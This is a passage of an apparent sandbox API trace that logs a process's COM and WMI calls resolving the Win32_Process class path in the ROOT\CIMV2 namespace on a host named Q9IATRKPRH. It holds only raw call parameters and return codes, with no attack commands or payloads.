out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0127.325] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0127.326] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0127.326] IWbemClassObject:Get (in: This=0x1aa09ef0, wszName="__CLASS", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0127.326] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0127.326] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0127.326] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0127.326] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0127.326] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0127.326] IUnknown:Release (This=0x1a943398) returned 0x1 [0127.328] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1aa04380) returned 0x0 [0127.328] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa04380, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0127.328] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1aa04380, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1a980e10) returned 0x0 [0127.328] WbemDefPath:IUnknown:Release (This=0x1aa04380) returned 0x0 [0127.328] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980e10, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1a980e10) returned 0x0 [0127.328] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980e10, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0127.329] WbemDefPath:IUnknown:AddRef (This=0x1a980e10) returned 0x3 [0127.329] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980e10, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0127.329] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980e10, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0127.329] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980e10, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1aa043c0) returned 0x0 [0127.329] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1aa043c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.329] WbemDefPath:IUnknown:Release (This=0x1aa043c0) returned 0x3 [0127.329] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0127.329] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0127.329] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980e10, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0127.329] WbemDefPath:IUnknown:Release (This=0x1a980e10) returned 0x2 [0127.329] WbemDefPath:IUnknown:Release (This=0x1a980e10) returned 0x1 [0127.329] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0127.329] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0127.329] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980e10, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1a980e10) returned 0x0 [0127.329] WbemDefPath:IUnknown:AddRef (This=0x1a980e10) returned 0x3 [0127.329] WbemDefPath:IUnknown:Release (This=0x1a980e10) returned 0x2 [0127.329] WbemDefPath:IWbemPath:SetText (This=0x1a980e10, uMode=0x4, pszPath="") returned 0x0 [0127.329] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0127.329] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0127.329] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0127.329] IUnknown:Release (This=0x1a943398) returned 0x1 [0127.331] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1aa04380) returned 0x0 [0127.331] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa04380, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0127.331] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1aa04380, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1aa0a290) returned 0x0 [0127.332] WbemDefPath:IUnknown:Release (This=0x1aa04380) returned 0x0 [0127.332] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a290, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1aa0a290) returned 0x0 [0127.332] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a290, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0127.332] WbemDefPath:IUnknown:AddRef (This=0x1aa0a290) returned 0x3 [0127.332] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a290, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0127.332] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a290, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0127.332] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a290, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1aa04400) returned 0x0 [0127.332] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1aa04400, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.332] WbemDefPath:IUnknown:Release (This=0x1aa04400) returned 0x3 [0127.332] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0127.333] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0127.333] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a290, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0127.333] WbemDefPath:IUnknown:Release (This=0x1aa0a290) returned 0x2 [0127.333] WbemDefPath:IUnknown:Release (This=0x1aa0a290) returned 0x1 [0127.333] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0127.333] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0127.333] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a290, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1aa0a290) returned 0x0 [0127.333] WbemDefPath:IUnknown:AddRef (This=0x1aa0a290) returned 0x3 [0127.333] WbemDefPath:IUnknown:Release (This=0x1aa0a290) returned 0x2 [0127.333] WbemDefPath:IWbemPath:SetText (This=0x1aa0a290, uMode=0x4, pszPath="") returned 0x0 [0127.333] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a290, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0127.333] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980e10, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0127.333] WbemDefPath:IWbemPath:GetClassName (in: This=0x1aa0a290, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0127.333] WbemDefPath:IWbemPath:GetServer (in: This=0x1aa0a290, puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0) returned 0x80041009 [0127.333] WbemDefPath:IWbemPath:SetServer (This=0x1aa0a290, Name="Q9IATRKPRH") returned 0x0 [0127.333] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0127.333] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0127.333] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0127.333] IUnknown:Release (This=0x1a943398) returned 0x1 [0127.346] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1aa04420) returned 0x0 [0127.346] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa04420, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0127.346] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1aa04420, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1aa0a350) returned 0x0 [0127.346] WbemDefPath:IUnknown:Release (This=0x1aa04420) returned 0x0 [0127.346] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a350, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1aa0a350) returned 0x0 [0127.346] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a350, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0127.346] WbemDefPath:IUnknown:AddRef (This=0x1aa0a350) returned 0x3 [0127.346] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a350, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0127.347] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a350, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0127.347] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a350, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1aa04460) returned 0x0 [0127.347] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1aa04460, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.347] WbemDefPath:IUnknown:Release (This=0x1aa04460) returned 0x3 [0127.347] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0127.347] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0127.347] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a350, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0127.347] WbemDefPath:IUnknown:Release (This=0x1aa0a350) returned 0x2 [0127.347] WbemDefPath:IUnknown:Release (This=0x1aa0a350) returned 0x1 [0127.347] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0127.347] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0127.347] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a350, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1aa0a350) returned 0x0 [0127.347] WbemDefPath:IUnknown:AddRef (This=0x1aa0a350) returned 0x3 [0127.347] WbemDefPath:IUnknown:Release (This=0x1aa0a350) returned 0x2 [0127.347] WbemDefPath:IWbemPath:SetText (This=0x1aa0a350, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0127.347] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a290, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0127.347] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a350, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0127.347] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a350, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0127.347] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a350, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0127.347] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1aa0a290) returned 0x0 [0127.347] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a350, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0127.347] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0a350, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0127.347] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0a350, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="ROOT") returned 0x0 [0127.347] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1aa0a290, uIndex=0x0, pszName="ROOT") returned 0x0 [0127.347] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0a350, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0127.348] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0a350, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="CIMV2") returned 0x0 [0127.348] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1aa0a290, uIndex=0x1, pszName="CIMV2") returned 0x0 [0127.348] WbemDefPath:IWbemPath:GetClassName (in: This=0x1aa0a290, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0127.348] WbemDefPath:IWbemPath:SetClassName (This=0x1aa0a290, Name="Win32_Process") returned 0x0 [0127.348] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0a290, uRequestedInfo=0x0, puResponse=0x1bb7e6b8 | out: puResponse=0x1bb7e6b8*=0x20c16) returned 0x0 [0127.348] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a290, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0127.348] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a290, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x26, pszText=0x0) returned 0x0 [0127.348] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a290, lFlags=4, puBuffLength=0x1bb7e608*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0127.348] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0a290, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0x20c16) returned 0x0 [0127.348] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a290, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0127.348] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a290, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x18, pszText=0x0) returned 0x0 [0127.348] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a290, lFlags=8, puBuffLength=0x1bb7e608*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0127.348] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980c90, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0127.348] WbemDefPath:IWbemPath:GetText (in: This=0x1a980c90, lFlags=16, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xb, pszText=0x0) returned 0x0 [0127.348] WbemDefPath:IWbemPath:GetText (in: This=0x1a980c90, lFlags=16, puBuffLength=0x1bb7e608*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e608*=0xb, pszText="root\\cimv2") returned 0x0 [0127.348] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a290, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0127.348] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a290, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0127.348] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e568 | out: ppv=0x1bb7e568*=0x1a943398) returned 0x0 [0127.348] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e558 | out: pAptType=0x1bb7e558*=1) returned 0x0 [0127.348] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e560 | out: ppvObject=0x1bb7e560*=0x0) returned 0x80004002 [0127.348] IUnknown:Release (This=0x1a943398) returned 0x1 [0127.350] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, 